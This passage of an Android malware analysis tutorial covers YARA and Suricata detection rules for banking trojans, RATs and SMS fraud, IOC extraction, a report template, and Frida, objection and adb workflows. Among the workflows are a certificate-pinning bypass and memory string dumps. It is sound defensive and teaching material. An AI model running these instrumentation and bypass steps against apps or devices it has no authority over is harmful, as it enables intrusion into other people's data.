"Joker/Bread subscription fraud - WebView enrollment + DEX dropper"
,
"severity"
:
"HIGH"
,
"category"
:
"SMS Fraud"
,
"mitre"
:
"T1582"
,
"family"
:
"Joker"
}
,
"strings"
:
[
"DexClassLoader"
,
"WebView"
,
"loadUrl"
,
"evaluateJavascript"
,
"subscribe"
,
"SUBSCRIBE"
,
"premium"
,
"BILLING"
]
}
]
,
The tool ships with 20 YARA rules covering: banking trojans (Anubis, Cerberus), droppers (DexClassLoader, silent install), spyware (audio+location, SMS stealer), stalkerware, ransomware (device admin, file encryption), SMS fraud (Joker), Telegram/Discord C2, OTP notification stealing, overlay phishing, anti-analysis (emulator checks), and RAT signatures (Metasploit). Rules scan the full APK binary plus each internal DEX,.so,.jar, and embedded APK.
To add your own rules to the tool’s scanning pipeline, place them inrules/malware.yarusing the same YARA format as the illustrative rules above.
IOC Extraction Checklist
After completing your analysis, extract and document the following:
#
1. File hashes
sha256sum malware.apk
md5sum malware.apk
#
2. Certificate fingerprint
openssl pkcs7 -in malware_extracted/META-INF/CERT.RSA \
-inform DER -print_certs | openssl x509 -noout -fingerprint -sha256
#
3. Package name and version
aapt dump badging malware.apk | grep -E "package:|versionName:|versionCode:"
#
4. C2 infrastructure (from strings + dynamic analysis)
#
- IP addresses
#
- Domains (static + DGA)
#
- URLs / endpoints
#
- Ports
#
5. Network signatures
#
- HTTP User-Agent strings
#
- URI patterns (/gate.php, /panel/, etc.)
#
- Custom protocol port numbers
#
6. Host indicators
#
- Package names (malware + dropped files)
#
- Service names
#
- Receiver names
#
- File paths created (/data/data/pkg/, /sdcard/)
#
- SharedPreferences keys
#
7. Behavioral indicators
#
- Permissions requested (especially dangerous combos)
#
- Accessibility Service:
yes
/no
#
- Device Admin:
yes
/no
#
- Boot persistence:
yes
/no
#
- Target app list (
for
overlay attacks)
With analyzer.py:
# All IOCs are extracted automatically and written to the JSON report
python analyzer.py analyze malware.apk
# Extract IOC list from JSON:
python3 -c "
import json, sys
with open('reports/<package>_<timestamp>.json') as f:
report = json.load(f)
for ioc in report.get('ioc_list', []):
print(ioc)
"
# Extract ATT&CK mapping:
python3 -c "
import json
with open('reports/<package>_<timestamp>.json') as f:
report = json.load(f)
for t in report.get('mitre_techniques', []):
print(t['id'], t['name'], '-', t['tactic'])
"

The AI-generated IOC list includes: file hashes, package names, domain/IP indicators, service names, certificate fingerprints, and behavioral signatures. The ATT&CK mapping is technique-specific with relevance notes for this sample.
Suricata Rules for Network Detection
# Detect SpyNote custom TCP protocol (initial device info beacon)
# The first packet typically starts with a JSON blob containing device info
alert tcp
$HOME_NET
any ->
$EXTERNAL_NET
[
5555
,
7777
,
8888
,
9999
] (
msg:
"Android RAT SpyNote-style Initial Beacon"
;
flow:established,to_server;
content:
"{"
;
content:
"device_id"
;
content:
"android_version"
;
sid:
9001001
; rev:
1
;
classtype:trojan-activity;
)
# Detect generic banking trojan C2 gate pattern
alert http
$HOME_NET
any ->
$EXTERNAL_NET
any
(
msg
:
"Android Banking Trojan /gate.php C2"
;
flow
:established,to_server;
http.method;
content
:
"POST"
;
http.uri;
content
:
"/gate.php"
;
http.request_body;
content
:
"p="
;
sid
:
9001002
;
rev
:
1
;
classtype
:command-
and
-control;
)
# Detect Cerberus/FluBot style RC4+Base64 POST
alert http
$HOME_NET
any ->
$EXTERNAL_NET
any
(
msg
:
"Possible Banking Trojan Encoded C2 POST"
;
flow
:established,to_server;
http.method;
content
:
"POST"
;
http.request_body;
content
:
"p="
;
http.request_body;
pcre
:
"/p=[A-Za-z0-9+\/]{50,}={0,2}/"
;
sid
:
9001003
;
rev
:
1
;
classtype
:command-
and
-control;
)
Reporting and Attribution
A completed Android malware analysis should produce a structured report. Here is the recommended framework:
Report Structure
ANDROID
MALWARE
ANALYSIS
REPORT
================================
Sample:
[
filename
]
|
SHA256:
[
hash
]
Analyst:
[
name
]
|
Date:
[
date
]
Classification:
Banking
Trojan
/
RAT
/
Spyware
/
Dropper
EXECUTIVE
SUMMARY
-----------------
One-paragraph non-technical summary:
what
the
malware
does,
who
it
targets,
how
it
spreads,
and
the
analyst's
confidence
level.
TECHNICAL
SUMMARY
-----------------
Malware Family:
[
FluBot
/
Cerberus
/
SpyNote
/
Unknown
]
Confidence:
[
High
/
Medium
/
Low
]
Target Platform:
Android
[
min
SDK
]
–
[
target
SDK
]
Distribution:
[
Smishing
/
Play
Store
/
Sideload
/
Other
]
Primary Capability:
[
Banking
Trojan
/
RAT
/
Spyware
]
STATIC
ANALYSIS
---------------
Package Name:
com.example.malware
Version:
1.0
(code:
1
)
Certificate SHA256:
AA:BB:CC:...
(self-signed)
Obfuscation:
[
None
/
ProGuard
/
Allatori
/
Custom
XOR
]
Packer:
[
None
/
detected
by
APKiD
]
Suspicious Permissions:
[
list
dangerous
permission
combinations
with
rationale
]
Suspicious Components:
[
list
services
,
receivers
,
activities
with
analysis
]
Code Analysis Highlights:
[
key
findings
from
static
code
review
]
[
decrypted
strings
if
applicable
]
[
identified
C2
communication
pattern
]
DYNAMIC
ANALYSIS
----------------
Test Environment:
[
Android
version
,
emulator/physical
device
]
Frida Version:
[
version
]
Duration:
[
analysis
duration
]
Observed Behavior:
T+0:00
App
launched;
presented
minimal
UI
T+0:03
Requested
Accessibility
permission
via
dialog
T+0:05
Accessibility
granted
(Frida
hooks
observed
events)
T+0:07
Outbound
TCP
connection
to
185.
x.x.x:5555
T+0:08
Sent
JSON
device
info
beacon
...
INDICATORS
OF
COMPROMISE
-------------------------
[
Full
IOC
table
in
STIX/MISP
format
or
plain
text
]
MITRE
ATT&CK
MAPPING
(Mobile)
------------------------------
[
Verify
all
IDs
at
attack.mitre.org/matrices/mobile/
-
IDs
change
across
versions
]
T1417.001
Keylogging
[
if
applicable
]
T1417.002
GUI
Input
Capture
(Overlay
Attack)
[
if
applicable
]
T1430
Location
Tracking
[
if
applicable
]
T1412
Capture
SMS
Messages
[
if
applicable
]
T1513
Screen
Capture
[
if
applicable
]
T1453
Abuse
Accessibility
Features
[
if
applicable
]
T1624.001
Boot
or
Logon
Autostart
(Broadcast
Receivers)
[
if
applicable
]
T1626.001
Device
Administrator
Permissions
[
if
applicable
]
T1637
Dynamic
Resolution
(DGA)
[
if
applicable
]
T1521.001 Encrypted Channel:
Symmetric
Cryptography
[
if
applicable
]
T1521.002 Encrypted Channel:
Asymmetric
Cryptography
[
if
applicable
]
ATTRIBUTION
NOTES
-----------------
Overlap with known families:
[
yes
/no
,
evidence
]
Infrastructure overlaps:
[
ASN
,
certificate
,
registrar
patterns
]
Language/locale indicators:
[
strings
,
error
messages
,
UI
text
]
Confidence:
[
Low
-
no
strong
attribution
indicators
]
MITRE ATT&CK for Mobile — Key Technique Mapping
> Note: ATT&CK for Mobile technique IDs are updated periodically. Verify all IDs against the current matrix at attack.mitre.org/matrices/mobile/ before including in reports or detections.
Quick Reference Cheatsheet
Static Analysis Workflow
Classic — manual tools:
1.
sha256sum
malware.apk
# Hash the sample
2. apkid malware.apk
# Detect packer/obfuscator
3. apktool d malware.apk -o out/
# Decode resources + Smali
4.
cat
out/AndroidManifest.xml
# Review permissions + components
5. jadx malware.apk -d jadx_out/
# Decompile to Java
6. strings out/classes.dex | grep -E
"http|key|token|AES"
# String hunt
7. androguard-analyze malware.apk
# Programmatic analysis
8. MobSF upload
# Automated scan report
With analyzer.py:
# Quick metadata (
no
API key)
python analyzer.py info malware.apk
#
Full
static
pipeline (
no
AI)
python analyzer.py analyze malware.apk
--no-ai --output-dir reports/
#
Full
pipeline
with
AI classification
and
Frida hook generation
python analyzer.py analyze malware.apk \
--api-key $ANTHROPIC_API_KEY \
--vt-key $VT_API_KEY \
--save-frida \
--output-dir reports/
# Batch triage
-
only
show
HIGH
+
risk samples
python analyzer.py batch .
/
samples
/
\
--api-key $ANTHROPIC_API_KEY \
--min-risk 60 \
--output-dir reports/
Dynamic Analysis Workflow
Classic — manual tools:
1. adb connect 127.0.0.1:5555
# Connect to emulator (ADB port is 5555)
2. adb install malware.apk
# Install sample
3. adb logcat > logcat.txt &
# Start log capture
4. adb shell tcpdump -w /sdcard/cap.pcap &
# Start network capture
5. frida -U -f com.pkg -l hooks.js
# Attach Frida hooks (spawns app; --no-pause needed on Frida <14)
6. [Interact with app]
7. adb pull /sdcard/cap.pcap
# Pull captures
8. objection -g com.pkg explore
# Interactive investigation
9. android sslpinning
disable
# Bypass cert pinning
10. adb pull /data/data/com.pkg/
# Pull app data (root)
With analyzer.py — auto-generated Frida hooks:
# Step 1: Run analysis to generate sample-specific hooks
python analyzer.py analyze malware.apk \
--api-key
$ANTHROPIC_API_KEY
\
--save-frida \
--output-dir reports/
# Step 2: Deploy the generated hooks (replace manual hook writing)
frida -U -f com.malware.package \
-l reports/com.malware.package_frida_hooks.js
# Continue with steps 3–10 above as normal
# The generated hooks target APIs identified during static analysis,
# not generic templates - review before running on sensitive samples
Frida One-Liners
# List all loaded classes
frida -U com.pkg -e
"Java.perform(function(){Java.enumerateLoadedClasses({onMatch:function(c){console.log(c)},onComplete:function(){}});})"
# Trace all method calls in a class
frida-trace -U -f com.pkg -j
"com.pkg.NetworkClient!*"
# Dump all strings from app memory
frida -U com.pkg -e
"Process.enumerateModules().forEach(function(m){try{Memory.scanSync(m.base,m.size,'?? ?? ?? ??').forEach(function(r){var s=r.address.readUtf8String();if(s&&s.length>5)console.log(s)});}catch(e){}})"
Key Permissions — Risk Matrix
CRITICAL (always investigate):
READ_SMS + SEND_SMS + READ_CONTACTS → Smishing
capability
(FluBot)
SYSTEM_ALERT_WINDOW → Overlay attack capability
SYSTEM_ALERT_WINDOW + Accessibility Svc → Overlay
phishing
(combined)
COMPONENT
INDICATORS
(not uses-permission - look in component declarations)
:
Accessibility Service component present → Keylogging + overlay attacks
Device Admin receiver present → Anti-removal persistence
NotificationListenerService present → Notification/OTP interception
HIGH:
CAMERA + RECORD_AUDIO + ACCESS_FINE_LOCATION → Full surveillance RAT
REQUEST_INSTALL_PACKAGES → Dropper capability
MEDIUM
(context-dependent)
:
RECEIVE_BOOT_COMPLETED → Boot
persistence
(also many legitimate apps)
FOREGROUND_SERVICE → Background
persistence
(normal
for
some apps)
READ_EXTERNAL_STORAGE → File
access
(common but worth noting)
Analysis Tools Reference
STATIC:
apktool → Decode APK resources + Smali github.com/iBotPeaches/Apktool
jadx → Decompile DEX to Java github.com/skylot/jadx
apkid → Detect packers/obfuscators github.com/rednaga/APKiD
androguard → Python analysis library github.com/androguard/androguard
MobSF → Automated analysis platform github.com/MobSF/Mobile-Security-Framework-MobSF
DYNAMIC:
frida → Runtime instrumentation frida.re
objection → Frida CLI wrapper github.com/sensepost/objection
Burp Suite → HTTP/HTTPS interception portswigger.net
mitmproxy → HTTP/HTTPS interception (FOSS) mitmproxy.org
adb → Android Debug Bridge developer.android.com/tools/adb
NETWORK:
Wireshark → Packet analysis wireshark.org
tcpdump → Packet capture (on device) via adb shell
THREAT INTEL:
VirusTotal → Hash/file lookup virustotal.com
MalwareBazaar → Sample repository bazaar.abuse.ch
APKLab / Koodous → Android-specific repos
Hybrid Analysis → Automated sandbox hybrid-analysis.com
Common Android Malware Detection Signatures
BEHAVIORAL PATTERNS (high-signal triage heuristics —
not
attribution):
✓ Accessibility Service + SEND_SMS + READ_CONTACTS = smishing trojan archetype
✓ Device Admin receiver + SYSTEM_ALERT_WINDOW = banking trojan archetype
✓ Raw TCP socket
on
non-standard port = RAT archetype (SpyNote-style)
✓ HTTP POST
to
/gate.php
with
encoded body = PHP-panel C2 pattern
✓ DGA + DNS queries
to
random
short
domains = C2 domain evasion
STATIC
PATTERNS (medium confidence, investigative leads):
✓
String
decryption
class
with
XOR
/RC4
loop
= obfuscated strings likely
✓ All
class
names
1
–
2
chars
long
= ProGuard/Allatori obfuscation
✓ assets/ contains .dex, .jar,
or
.apk = dropper
✓
lib
/ contains stripped .so
with
no export table = native obfuscation
✓ Certificate: CN=Android Debug, OU=Android, O=Unknown = dev/test cert
Conclusion
Android malware analysis is a hands-on discipline. The concepts — APK structure, Accessibility Service abuse, overlay attacks, DGA-based C2, raw TCP RAT protocols — become clear only when you work through real samples.
The three families examined here — FluBot, Cerberus, and SpyNote — represent three archetypes you will encounter repeatedly:
-
Self-propagating banking trojans(FluBot): SMS-spread, DGA, overlay
-
MaaS banking trojans(Cerberus): sophisticated, source-available, 2FA bypass
-
Remote Access Trojans(SpyNote): full device control, persistent, widely deployed
The analysis workflow is consistent across types: start with the manifest, decompile the DEX, extract and decrypt strings, then move to dynamic analysis with Frida to confirm what static analysis suggested. Every sample reveals something the workflow did not anticipate — that is what makes it worth doing carefully.
Author: Andrey PautovPublished: March 2026Tags: Android Security, Malware Analysis, Mobile Security, FluBot, Cerberus, SpyNote, Frida, Reverse Engineering, CTI
References and Further Reading
-
Android-Malware-Analysis (companion tool):https://github.com/anpa1200/Android-Malware-Analysis
-
Android Developer Documentation — Accessibility Service:https://developer.android.com/reference/android/accessibilityservice/AccessibilityService
-
Frida Documentation:https://frida.re/docs/
-
jadx — Dex to Java decompiler:https://github.com/skylot/jadx
-
apktool — A tool for reverse engineering Android APKs:https://apktool.org
-
APKiD — Android Application Identifier:https://github.com/rednaga/APKiD
-
MobSF — Mobile Security Framework:https://github.com/MobSF/Mobile-Security-Framework-MobSF
-
Objection — Runtime Mobile Exploration:https://github.com/sensepost/objection
-
Androguard — Python library for Android analysis:https://github.com/androguard/androguard
-
MalwareBazaar — Malware sample repository:https://bazaar.abuse.ch
-
FluBot technical analysis (Europol):https://www.europol.europa.eu/media-press/newsroom/news/8-arrested-in-spain
-
Cerberus source code analysis — ThreatFabric:https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld
-
SpyNote/SpyMax analysis — ESET threat research:https://www.eset.com/int/about/newsroom/research/
-
SpyNote/SpyMax analysis — Kaspersky GReAT blog:https://securelist.com/
-
MITRE ATT&CK for Mobile:https://attack.mitre.org/matrices/mobile/
-
Android Malware Sandbox — Joe Sandbox Mobile:https://www.joesandbox.com
-
Hybrid Analysis (Android support):https://www.hybrid-analysis.com
Follow for practical cybersecurity research
If you’re interested in**Offensive security,**AI security, real-world attack simulations, CTI, and detection engineering— this is exactly what I focus on.
Stay connected:
→Subscribe on Medium:medium.com/@1200km →Connect on LinkedIn:andrey-pautov →GitHub — tools & labs:github.com/anpa1200 →Contact:1200km@gmail.com